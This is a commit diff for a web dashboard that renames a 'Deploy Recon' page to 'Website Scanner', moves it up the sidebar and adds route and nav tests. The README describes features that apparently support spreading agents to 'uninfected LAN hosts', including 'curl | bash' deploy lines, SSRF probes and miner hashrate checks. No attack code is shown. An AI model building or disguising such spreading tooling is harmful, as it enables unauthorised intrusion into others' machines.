Make Website Scanner discoverable in sidebar nav.
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
Deploy Recon was wired at /deploy-recon but buried at the bottom of a non-scrolling sidebar under an opaque label; move it after Crucible, rename to Website Scanner, enable nav scroll, and add route/nav smoke tests plus README.
This commit is contained in:
11
README.md
11
README.md
@@ -199,6 +199,17 @@ Route **`/crucible`** — consolidated fleet ops for machines you own. **`/agent
|
|||||||
- **Gold rain effect** — matrix overlay switches to gold flurry when a single agent is active in the Crucible
|
- **Gold rain effect** — matrix overlay switches to gold flurry when a single agent is active in the Crucible
|
||||||
- Real-time command output streamed back to the terminal
|
- Real-time command output streamed back to the terminal
|
||||||
|
|
||||||
|
### Website Scanner (Deploy Recon)
|
||||||
|
|
||||||
|
Route **`/deploy-recon`** — sidebar **Website Scanner** (magnifying-glass icon). Legacy alias **`/browser-spread`** redirects here.
|
||||||
|
|
||||||
|
- **Owned-target recon from the dashboard host** — TCP port matrix, shallow same-origin web crawl for upload/SSRF/CMS hints, tech stack banner grab
|
||||||
|
- **Browser deploy one-liners** — copy-paste `curl | bash` install lines and SSRF canary probe URLs pinned to your session build
|
||||||
|
- **Fleet discoveries** — merges agent subnet recon (WS) with manual `POST /api/v1/recon/scan` results for uninfected LAN hosts
|
||||||
|
- **Crucible cross-link** — open Spread ops for a scanned host via `?reconHost=` on `/crucible`
|
||||||
|
|
||||||
|
Run `.\scripts\test-suite.ps1 -Recon` for Go + Vitest + Playwright coverage.
|
||||||
|
|
||||||
### Matrix Digital Rain
|
### Matrix Digital Rain
|
||||||
|
|
||||||
- Mystic word drops — "destroy", "witchcraft", "black magic", and others appear randomly in the rain
|
- Mystic word drops — "destroy", "witchcraft", "black magic", and others appear randomly in the rain
|
||||||
|
|||||||
@@ -49,14 +49,24 @@ test.describe('Page smoke', () => {
|
|||||||
await expect(page.locator('.forge-mode-toggle').getByRole('button', { name: 'Simple', exact: true }).first()).toBeVisible();
|
await expect(page.locator('.forge-mode-toggle').getByRole('button', { name: 'Simple', exact: true }).first()).toBeVisible();
|
||||||
});
|
});
|
||||||
|
|
||||||
test('Deploy Recon renders scan form', async ({ page }) => {
|
test('sidebar Website Scanner link opens Deploy Recon', async ({ page }) => {
|
||||||
await page.goto('/deploy-recon');
|
await expect(page.getByRole('link', { name: 'Website Scanner' })).toBeVisible();
|
||||||
|
await page.getByRole('link', { name: 'Website Scanner' }).click();
|
||||||
|
await expect(page).toHaveURL(/\/deploy-recon/);
|
||||||
await expect(page.getByRole('heading', { level: 1, name: /Deploy Recon/i })).toBeVisible({
|
await expect(page.getByRole('heading', { level: 1, name: /Deploy Recon/i })).toBeVisible({
|
||||||
timeout: 10_000,
|
timeout: 10_000,
|
||||||
});
|
});
|
||||||
await expect(page.getByTestId('dr-scan-btn')).toBeVisible();
|
await expect(page.getByTestId('dr-scan-btn')).toBeVisible();
|
||||||
});
|
});
|
||||||
|
|
||||||
|
test('/browser-spread redirects to Deploy Recon', async ({ page }) => {
|
||||||
|
await page.goto('/browser-spread');
|
||||||
|
await expect(page).toHaveURL(/\/deploy-recon/);
|
||||||
|
await expect(page.getByRole('heading', { level: 1, name: /Deploy Recon/i })).toBeVisible({
|
||||||
|
timeout: 10_000,
|
||||||
|
});
|
||||||
|
});
|
||||||
|
|
||||||
test('Emberwake Cloud Ecosystem panel expands', async ({ page }) => {
|
test('Emberwake Cloud Ecosystem panel expands', async ({ page }) => {
|
||||||
await page.goto('/emberwake');
|
await page.goto('/emberwake');
|
||||||
await expect(page.getByRole('heading', { level: 1, name: /Emberwake/i })).toBeVisible({ timeout: 10_000 });
|
await expect(page.getByRole('heading', { level: 1, name: /Emberwake/i })).toBeVisible({ timeout: 10_000 });
|
||||||
@@ -85,6 +95,6 @@ test.describe('Page smoke', () => {
|
|||||||
await expect(page.getByRole('columnheader', { name: 'Time' })).toBeVisible();
|
await expect(page.getByRole('columnheader', { name: 'Time' })).toBeVisible();
|
||||||
await expect(page.getByRole('columnheader', { name: 'Action' })).toBeVisible();
|
await expect(page.getByRole('columnheader', { name: 'Action' })).toBeVisible();
|
||||||
await expect(page.getByRole('link', { name: /Seer reasoning/i })).toBeVisible();
|
await expect(page.getByRole('link', { name: /Seer reasoning/i })).toBeVisible();
|
||||||
await expect(page.getByText(/No oath rows yet|Loading…/)).toBeVisible({ timeout: 15_000 });
|
await expect(page.getByText(/No oath rows yet|Loading<EFBFBD>/)).toBeVisible({ timeout: 15_000 });
|
||||||
});
|
});
|
||||||
});
|
});
|
||||||
@@ -2,8 +2,8 @@
|
|||||||
* @vitest-environment happy-dom
|
* @vitest-environment happy-dom
|
||||||
*/
|
*/
|
||||||
import type { ReactNode } from 'react';
|
import type { ReactNode } from 'react';
|
||||||
import { describe, expect, it, vi } from 'vitest';
|
import { describe, expect, it, afterEach, vi } from 'vitest';
|
||||||
import { render, screen } from '@testing-library/react';
|
import { render, screen, cleanup } from '@testing-library/react';
|
||||||
import { MemoryRouter, Routes, Route, Navigate } from 'react-router-dom';
|
import { MemoryRouter, Routes, Route, Navigate } from 'react-router-dom';
|
||||||
import App, { PageFallback } from './App';
|
import App, { PageFallback } from './App';
|
||||||
import { routerFuture } from './routerFuture';
|
import { routerFuture } from './routerFuture';
|
||||||
@@ -35,6 +35,7 @@ vi.mock('./pages/MissionDeckPage', () => ({ default: () => <div>Mission Deck Pag
|
|||||||
vi.mock('./pages/BuildManagerPage', () => ({ default: () => <div>Builds Page</div> }));
|
vi.mock('./pages/BuildManagerPage', () => ({ default: () => <div>Builds Page</div> }));
|
||||||
vi.mock('./pages/SettingsPage', () => ({ default: () => <div>Settings Page</div> }));
|
vi.mock('./pages/SettingsPage', () => ({ default: () => <div>Settings Page</div> }));
|
||||||
vi.mock('./pages/CruciblePage', () => ({ default: () => <div>Crucible Page</div> }));
|
vi.mock('./pages/CruciblePage', () => ({ default: () => <div>Crucible Page</div> }));
|
||||||
|
vi.mock('./pages/DeployReconPage', () => ({ default: () => <div>Deploy Recon Page</div> }));
|
||||||
|
|
||||||
describe('PageFallback', () => {
|
describe('PageFallback', () => {
|
||||||
it('shows loading copy', () => {
|
it('shows loading copy', () => {
|
||||||
@@ -44,6 +45,10 @@ describe('PageFallback', () => {
|
|||||||
});
|
});
|
||||||
|
|
||||||
describe('App route config', () => {
|
describe('App route config', () => {
|
||||||
|
afterEach(() => {
|
||||||
|
cleanup();
|
||||||
|
});
|
||||||
|
|
||||||
it('redirects / to dashboard and /builder to forge', () => {
|
it('redirects / to dashboard and /builder to forge', () => {
|
||||||
function RedirectProbe({ path }: { path: string }) {
|
function RedirectProbe({ path }: { path: string }) {
|
||||||
return (
|
return (
|
||||||
@@ -84,4 +89,23 @@ describe('App route config', () => {
|
|||||||
expect(screen.getAllByTestId('layout').length).toBeGreaterThan(0);
|
expect(screen.getAllByTestId('layout').length).toBeGreaterThan(0);
|
||||||
unmount();
|
unmount();
|
||||||
});
|
});
|
||||||
|
|
||||||
|
it('renders deploy-recon route via App shell', async () => {
|
||||||
|
render(
|
||||||
|
<MemoryRouter initialEntries={['/deploy-recon']} future={routerFuture}>
|
||||||
|
<App />
|
||||||
|
</MemoryRouter>
|
||||||
|
);
|
||||||
|
expect(await screen.findByText('Deploy Recon Page')).toBeTruthy();
|
||||||
|
expect(screen.getByTestId('layout')).toBeTruthy();
|
||||||
|
});
|
||||||
|
|
||||||
|
it('redirects /browser-spread to deploy-recon route', async () => {
|
||||||
|
render(
|
||||||
|
<MemoryRouter initialEntries={['/browser-spread']} future={routerFuture}>
|
||||||
|
<App />
|
||||||
|
</MemoryRouter>
|
||||||
|
);
|
||||||
|
expect(await screen.findByText('Deploy Recon Page')).toBeTruthy();
|
||||||
|
});
|
||||||
});
|
});
|
||||||
|
|||||||
@@ -106,12 +106,16 @@
|
|||||||
}
|
}
|
||||||
|
|
||||||
.sidebar-nav {
|
.sidebar-nav {
|
||||||
/* No flex-grow: let the matrix rain claim the remaining space */
|
/* Scroll when many nav items + matrix rain exceed viewport height */
|
||||||
flex: 0 0 auto;
|
flex: 1 1 auto;
|
||||||
|
min-height: 0;
|
||||||
|
overflow-y: auto;
|
||||||
padding: 1rem 0.75rem;
|
padding: 1rem 0.75rem;
|
||||||
display: flex;
|
display: flex;
|
||||||
flex-direction: column;
|
flex-direction: column;
|
||||||
gap: 0.35rem;
|
gap: 0.35rem;
|
||||||
|
scrollbar-width: thin;
|
||||||
|
scrollbar-color: rgba(0, 232, 245, 0.35) transparent;
|
||||||
}
|
}
|
||||||
|
|
||||||
.nav-item {
|
.nav-item {
|
||||||
|
|||||||
17
server/web/src/components/Layout/Layout.nav.test.ts
Normal file
17
server/web/src/components/Layout/Layout.nav.test.ts
Normal file
@@ -0,0 +1,17 @@
|
|||||||
|
import { describe, expect, it } from 'vitest';
|
||||||
|
import { operatorNavItems } from './Layout';
|
||||||
|
|
||||||
|
describe('operator sidebar nav', () => {
|
||||||
|
it('includes Website Scanner linking to /deploy-recon', () => {
|
||||||
|
const item = operatorNavItems.find((i) => i.to === '/deploy-recon');
|
||||||
|
expect(item).toBeDefined();
|
||||||
|
expect(item!.label).toBe('Website Scanner');
|
||||||
|
expect(item!.icon).toBe('recon');
|
||||||
|
});
|
||||||
|
|
||||||
|
it('places Website Scanner directly after Crucible for discoverability', () => {
|
||||||
|
const scannerIdx = operatorNavItems.findIndex((i) => i.to === '/deploy-recon');
|
||||||
|
const crucibleIdx = operatorNavItems.findIndex((i) => i.to === '/crucible');
|
||||||
|
expect(scannerIdx).toBe(crucibleIdx + 1);
|
||||||
|
});
|
||||||
|
});
|
||||||
@@ -51,6 +51,7 @@ type NavItem = { readonly to: string; readonly label: string; readonly icon: str
|
|||||||
const NAV_BASE: readonly NavItem[] = [
|
const NAV_BASE: readonly NavItem[] = [
|
||||||
{ to: '/dashboard', label: 'Command Deck', icon: 'deck' },
|
{ to: '/dashboard', label: 'Command Deck', icon: 'deck' },
|
||||||
{ to: '/crucible', label: 'Crucible', icon: 'crucible' },
|
{ to: '/crucible', label: 'Crucible', icon: 'crucible' },
|
||||||
|
{ to: '/deploy-recon', label: 'Website Scanner', icon: 'recon' },
|
||||||
{ to: '/activity', label: 'Activity Feed', icon: 'activity' },
|
{ to: '/activity', label: 'Activity Feed', icon: 'activity' },
|
||||||
{ to: '/roi', label: 'ROI Intelligence', icon: 'roi' },
|
{ to: '/roi', label: 'ROI Intelligence', icon: 'roi' },
|
||||||
{ to: '/lotl-timeline', label: 'Onion', icon: 'onion' },
|
{ to: '/lotl-timeline', label: 'Onion', icon: 'onion' },
|
||||||
@@ -59,10 +60,12 @@ const NAV_BASE: readonly NavItem[] = [
|
|||||||
{ to: '/mission-deck', label: 'Mission Deck', icon: 'mission', glow: true },
|
{ to: '/mission-deck', label: 'Mission Deck', icon: 'mission', glow: true },
|
||||||
{ to: '/builds', label: 'Builds', icon: 'builds' },
|
{ to: '/builds', label: 'Builds', icon: 'builds' },
|
||||||
{ to: '/emberwake', label: 'Emberwake', icon: 'ember' },
|
{ to: '/emberwake', label: 'Emberwake', icon: 'ember' },
|
||||||
{ to: '/deploy-recon', label: 'Deploy Recon', icon: 'recon' },
|
|
||||||
{ to: '/settings', label: 'Calibrate', icon: 'gear' },
|
{ to: '/settings', label: 'Calibrate', icon: 'gear' },
|
||||||
];
|
];
|
||||||
|
|
||||||
|
/** Exported for nav regression tests (route + label discoverability). */
|
||||||
|
export const operatorNavItems = NAV_BASE;
|
||||||
|
|
||||||
const SEER_NAV: NavItem = { to: '/seer', label: 'Seer', icon: 'seer' };
|
const SEER_NAV: NavItem = { to: '/seer', label: 'Seer', icon: 'seer' };
|
||||||
|
|
||||||
function buildNav(aiControlEnabled: boolean): NavItem[] {
|
function buildNav(aiControlEnabled: boolean): NavItem[] {
|
||||||
@@ -340,6 +343,7 @@ export default function Layout({ children }: LayoutProps) {
|
|||||||
'/lotl-timeline': 'Onion',
|
'/lotl-timeline': 'Onion',
|
||||||
'/pathtracer': 'Tracer',
|
'/pathtracer': 'Tracer',
|
||||||
'/forge': 'Forge',
|
'/forge': 'Forge',
|
||||||
|
'/deploy-recon': 'Scanner',
|
||||||
};
|
};
|
||||||
|
|
||||||
return (
|
return (
|
||||||
@@ -369,6 +373,7 @@ export default function Layout({ children }: LayoutProps) {
|
|||||||
<NavLink
|
<NavLink
|
||||||
key={item.to}
|
key={item.to}
|
||||||
to={item.to}
|
to={item.to}
|
||||||
|
title={item.to === '/deploy-recon' ? 'Deploy Recon — browser spread scanner (/browser-spread)' : undefined}
|
||||||
className={({ isActive }) =>
|
className={({ isActive }) =>
|
||||||
`nav-item${'glow' in item && item.glow ? ' nav-item--mission' : ''} ${isActive ? 'active' : ''}`
|
`nav-item${'glow' in item && item.glow ? ' nav-item--mission' : ''} ${isActive ? 'active' : ''}`
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -11,8 +11,8 @@ const PAGE_LABELS: Record<string, string> = {
|
|||||||
'/spread': 'Emberwake',
|
'/spread': 'Emberwake',
|
||||||
'/settings': 'Calibrate',
|
'/settings': 'Calibrate',
|
||||||
'/pathtracer': 'Path Tracer',
|
'/pathtracer': 'Path Tracer',
|
||||||
'/deploy-recon': 'Deploy Recon',
|
'/deploy-recon': 'Website Scanner',
|
||||||
'/browser-spread': 'Deploy Recon',
|
'/browser-spread': 'Website Scanner',
|
||||||
};
|
};
|
||||||
|
|
||||||
export function presencePageLabel(path: string): string {
|
export function presencePageLabel(path: string): string {
|
||||||
|
|||||||
Reference in New Issue
Block a user